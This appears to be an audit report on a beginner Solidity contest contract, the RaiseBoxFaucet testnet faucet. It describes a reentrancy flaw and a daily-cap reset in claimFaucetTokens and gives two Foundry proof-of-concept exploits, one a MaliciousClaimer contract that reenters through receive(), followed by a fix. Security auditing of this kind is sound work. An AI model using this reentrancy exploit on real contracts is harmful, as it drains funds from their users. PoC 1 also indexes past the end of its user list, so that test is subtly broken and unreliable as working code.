Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
Submission Details
Impact: high
Likelihood: high

Reentrancy and Daily ETH Cap Bypass in claimFaucetTokens

Author Revealed upon completion

Summary

The claimFaucetTokens function in RaiseBoxFaucet.sol allows attackers to bypass the 0.05 ETH daily cap via reentrancy and a flawed dailyDrips reset. Malicious contracts can reenter during an ETH drip to reset the cap, enabling extra drips in one transaction. Repeat users can also reset the cap after their cooldown, allowing more drips over time, potentially draining all contract ETH.

Root + Impact

Root Cause: The claimFaucetTokens function in src/RaiseBoxFaucet.sol sends Sepolia ETH before updating state, enabling reentrancy. A malicious contract can reenter during the ETH transfer, and a flawed dailyDrips = 0 reset in the else branch for non-drip claims lets attackers bypass the daily ETH cap.

Impact: High. Attackers can drain the contract’s entire ETH balance (e.g., 1+ ETH) beyond the 0.05 ETH daily cap, wasting testnet funds and blocking legitimate users from getting drips needed for protocol testing.

Description

Normal Behavior: The claimFaucetTokens function drips 1000 test tokens every 3 days and 0.005 Sepolia ETH to first-time claimers, capped at 0.05 ETH daily. The dailyDrips counter tracks ETH sent and resets on new days.

Specific Issue or Problem: Sending ETH before state updates allows a malicious contract to reenter, hitting the else branch that resets dailyDrips to 0, bypassing the cap. Repeat claimers after 3 days can also trigger this reset, allowing extra drips.

Location in Codebase

  • File: src/RaiseBoxFaucet.sol

  • Function: claimFaucetTokens() (lines ~163-237)

  • Key Lines:

    if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
    // ...
    if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
    hasClaimedEth[faucetClaimer] = true;
    dailyDrips += sepEthAmountToDrip;
    (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}(""); // Vulnerable: Send before effects
    // ...
    }
    } else {
    dailyDrips = 0; // Flaw: Resets cap
    }
    lastClaimTime[faucetClaimer] = block.timestamp; // Late update
    dailyClaimCount++;

Risk

Likelihood: High

  • Malicious contracts with a receive() function can reenter during an ETH drip near the cap (e.g., at 0.045 ETH), resetting dailyDrips.

  • Repeat claimers can reset dailyDrips after their 3-day cooldown.

Impact: High

  • Drains all contract ETH, wasting testnet funds.

  • Denies drips to legitimate users, breaking the faucet’s purpose.

Tools Used

  • Foundry (unit tests, PoCs)

  • Manual code review

Proof of Concept

Save PoCs in test/ and run: forge test --match-path test/[File].t.sol -vvv. Requires src/RaiseBoxFaucet.sol and OpenZeppelin (forge install OpenZeppelin/openzeppelin-contracts).

PoC 1: Multi-Transaction Cap Bypass

File: test/BasicDailyDripsResetExploit.t.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "forge-std/Test.sol";
import "../src/RaiseBoxFaucet.sol";
contract BasicDailyDripsResetExploit is Test {
RaiseBoxFaucet faucet;
address[] users;
uint256 constant FAUCET_DRIP = 1000 * 10**18;
uint256 constant SEP_ETH_DRIP = 0.005 ether;
uint256 constant DAILY_SEP_ETH_CAP = 0.05 ether;
uint256 constant START_TIMESTAMP = 1760107200;
function setUp() public {
vm.warp(START_TIMESTAMP);
faucet = new RaiseBoxFaucet("FaucetToken", "FTK", FAUCET_DRIP, SEP_ETH_DRIP, DAILY_SEP_ETH_CAP);
vm.deal(address(faucet), 1 ether);
for (uint i = 1; i <= 10; i++) {
users.push(makeAddr(string(abi.encodePacked("user", i))));
}
}
function test_BasicDailyDripsResetExploit() public {
uint256 initialEthBalance = address(faucet).balance;
for (uint i = 0; i < 10; i++) {
vm.prank(users[i]);
faucet.claimFaucetTokens();
}
assertEq(faucet.dailyDrips(), DAILY_SEP_ETH_CAP);
vm.prank(users[10]);
faucet.claimFaucetTokens();
assertEq(faucet.getHasClaimedEth(users[10]), false);
vm.warp(block.timestamp + 3 days + 1);
vm.prank(users[0]);
faucet.claimFaucetTokens();
assertEq(faucet.dailyDrips(), 0);
for (uint i = 10; i < 15; i++) {
address extra = makeAddr(string(abi.encodePacked("extra", i)));
vm.prank(extra);
faucet.claimFaucetTokens();
assertEq(faucet.getHasClaimedEth(extra), true);
}
uint256 totalDrained = initialEthBalance - address(faucet).balance;
assertGt(totalDrained, DAILY_SEP_ETH_CAP);
}
}

PoC 2: Reentrancy Single-Tx Drain

File: test/ReentrancyDailyDripsExploit.t.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "forge-std/Test.sol";
import "../src/RaiseBoxFaucet.sol";
contract MaliciousClaimer {
RaiseBoxFaucet public faucet;
bool public reentered;
constructor(RaiseBoxFaucet _faucet) { faucet = _faucet; }
function claim() external { faucet.claimFaucetTokens(); }
receive() external payable {
if (!reentered) {
reentered = true;
faucet.claimFaucetTokens();
}
}
}
contract ReentrancyDailyDripsExploit is Test {
RaiseBoxFaucet faucet;
address[] users;
uint256 constant FAUCET_DRIP = 1000 * 10**18;
uint256 constant SEP_ETH_DRIP = 0.005 ether;
uint256 constant DAILY_SEP_ETH_CAP = 0.05 ether;
uint256 constant START_TIMESTAMP = 1760107200;
function setUp() public {
vm.warp(START_TIMESTAMP);
faucet = new RaiseBoxFaucet("FaucetToken", "FTK", FAUCET_DRIP, SEP_ETH_DRIP, DAILY_SEP_ETH_CAP);
vm.deal(address(faucet), 1 ether);
for (uint i = 1; i <= 9; i++) {
users.push(makeAddr(string(abi.encodePacked("user", i))));
}
}
function test_ReentrancyDailyDripsExploit() public {
uint256 initialEthBalance = address(faucet).balance;
for (uint i = 0; i < 9; i++) {
vm.prank(users[i]);
faucet.claimFaucetTokens();
}
assertEq(faucet.dailyDrips(), 0.045 ether);
MaliciousClaimer attacker = new MaliciousClaimer(faucet);
vm.deal(address(attacker), 1 ether);
vm.prank(address(attacker));
attacker.claim();
assertEq(faucet.dailyDrips(), 0);
address extraUser = makeAddr("extra");
vm.prank(extraUser);
faucet.claimFaucetTokens();
assertEq(faucet.getHasClaimedEth(extraUser), true);
uint256 totalDrained = initialEthBalance - address(faucet).balance;
assertGt(totalDrained, DAILY_SEP_ETH_CAP);
}
}

Recommended Mitigation

Explanation: Move the ETH transfer to after all state updates to prevent reentrancy, following Checks-Effects-Interactions. Remove the dailyDrips = 0 reset in the else branch to stop cap bypass. Fix the token balance check to allow the last drip. Optionally, add OpenZeppelin’s ReentrancyGuard for extra safety.

function claimFaucetTokens() public {
faucetClaimer = msg.sender;
if (block.timestamp < (lastClaimTime[faucetClaimer] + CLAIM_COOLDOWN)) {
revert RaiseBoxFaucet_ClaimCooldownOn();
}
if (faucetClaimer == address(0) || faucetClaimer == address(this) || faucetClaimer == Ownable.owner()) {
revert RaiseBoxFaucet_OwnerOrZeroOrContractAddressCannotCallClaim();
}
- if (balanceOf(address(this)) <= faucetDrip) {
+ if (balanceOf(address(this)) < faucetDrip) {
revert RaiseBoxFaucet_InsufficientContractBalance();
}
if (dailyClaimCount >= dailyClaimLimit) {
revert RaiseBoxFaucet_DailyClaimLimitReached();
}
+ bool shouldDripEth = false;
+ uint256 ethToDrip = 0;
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
- (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
- if (success) {
- emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
- } else {
- revert RaiseBoxFaucet_EthTransferFailed();
- }
+ shouldDripEth = true;
+ ethToDrip = sepEthAmountToDrip;
} else {
emit SepEthDripSkipped(faucetClaimer, address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached");
}
- } else {
- dailyDrips = 0;
}
if (block.timestamp > lastFaucetDripDay + 1 days) {
lastFaucetDripDay = block.timestamp;
dailyClaimCount = 0;
}
lastClaimTime[faucetClaimer] = block.timestamp;
dailyClaimCount++;
_transfer(address(this), faucetClaimer, faucetDrip);
emit Claimed(msg.sender, faucetDrip);
+ if (shouldDripEth) {
+ (bool success,) = faucetClaimer.call{value: ethToDrip}("");
+ if (success) {
+ emit SepEthDripped(faucetClaimer, ethToDrip);
+ } else {
+ revert RaiseBoxFaucet_EthTransferFailed();
+ }
+ }
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.